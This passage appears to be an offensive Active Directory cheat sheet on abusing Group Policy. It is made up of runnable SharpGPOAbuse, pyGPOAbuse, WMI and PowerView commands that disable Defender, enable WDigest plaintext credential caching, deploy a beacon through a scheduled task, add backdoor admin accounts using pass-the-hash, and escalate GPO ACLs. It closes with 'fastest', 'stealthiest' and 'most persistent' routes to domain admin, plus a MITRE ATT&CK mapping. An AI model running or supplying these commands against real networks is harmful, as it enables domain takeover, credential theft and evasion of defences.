.\SharpGPOAbuse.exe --AddComputerRegistry --RegPath "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" --RegName "UseLogonCredential" --RegValue "1" --RegType "DWORD" --GPOName "TARGET GPO"

# Disable Defender
.\SharpGPOAbuse.exe --AddComputerRegistry --RegPath "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" --RegName "DisableAntiSpyware" --RegValue "1" --RegType "DWORD" --GPOName "TARGET GPO"

# ==========================================
# EXPLOIT — LINUX (pyGPOAbuse)
# ==========================================

# Get GPO GUID first (ldapdomaindump or SharpView)
python3 pygpoabuse.py CORP/jsmith:P@ss -gpo-id "{GPO-GUID}" -dc-ip DC_IP -command "C:\Temp\beacon.exe" -taskname "Update" -force

# With PTH
python3 pygpoabuse.py CORP/jsmith -hashes :NTLM_HASH -gpo-id "{GPO-GUID}" -dc-ip DC_IP -command "net localgroup administrators CORP\jsmith /add" -taskname "Init" -force

# ==========================================
# FORCE GPO UPDATE (don't wait 90 min)
# ==========================================

# Via WMI (if you have access)
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "gpupdate /force"

# Via SMB exec
.\SharpExec.exe -m=wmiexec -i=TARGET -u=Admin -p=P@ss -c="gpupdate /force"

# Via scheduled task in same GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Refresh" --Author "NT AUTHORITY\SYSTEM" --Command "gpupdate.exe" --Arguments "/force" --GPOName "TARGET GPO" --Force

# ==========================================
# ACL ESCALATION
# ==========================================

# WriteDacl → GenericWrite
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" -PrincipalIdentity "CORP\jsmith" -Rights GenericWrite

# WriteOwner → Full Control
Set-DomainObjectOwner -Identity "{GPO-GUID}" -OwnerIdentity "CORP\jsmith"
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" -PrincipalIdentity "CORP\jsmith" -Rights All

# ==========================================
# MITRE ATT&CK MAPPING
# ==========================================

# T1484.001  → Domain Policy Modification: Group Policy Modification
# T1053.005  → Scheduled Task/Job: Scheduled Task (via GPO)
# T1547.001  → Boot/Logon Autostart: Registry Run Keys (via GPO registry)
# T1547.005  → Boot/Logon Autostart: Security Support Provider (via GPO scripts)
# T1136.002  → Create Account: Domain Account (via GPO add-local-admin)
# T1562.001  → Impair Defenses: Disable or Modify Tools (disable Defender via GPO)
# T1078.002  → Valid Accounts: Domain Accounts (abusing GPO rights)

# ==========================================
# ATTACK SCENARIO SUMMARY
# ==========================================

# FASTEST DA: GenericWrite on Default Domain Controllers Policy
# → AddComputerTask --Author SYSTEM --Command "net user backdoor P@ss /add && net localgroup administrators backdoor /add" --Force
# → Wait ~5 min (DCs refresh every 5 min) → login as DA!

# STEALTHIEST: Add local admin silently
# → AddLocalAdmin on Workstations GPO
# → No process spawn, no script, just group membership change
# → Looks like legit admin configuration in logs

# MOST PERSISTENT: Enable WDigest + startup script
# → Enable WDigest via GPO → users re-auth → plaintext in LSASS
# → Add startup script → beacon runs every boot
# → Even if beacon dies → comes back on next reboot

← Active Directory top ↑